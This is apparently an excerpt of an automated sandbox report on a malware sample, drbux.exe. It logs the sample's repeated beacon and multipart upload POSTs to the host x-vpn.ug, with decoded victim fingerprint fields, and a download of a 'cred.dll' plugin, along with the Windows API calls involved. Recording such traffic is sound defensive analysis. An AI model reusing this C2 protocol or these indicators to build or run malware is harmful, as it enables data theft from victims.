Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----993732936c83178afc7633ef35f2639dHost: x-vpn.ugContent-Length: 96800Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bcHost: x-vpn.ugContent-Length: 96662Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0

Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: Joe Sandbox View

ASN Name: TIMEWEB-ASRU TIMEWEB-ASRU

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D68F0 InternetCloseHandle,Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_012D68F0

Source: global traffic	HTTP traffic detected: GET /hfV3vDtt/plugins/cred.dll HTTP/1.1Host: x-vpn.ug
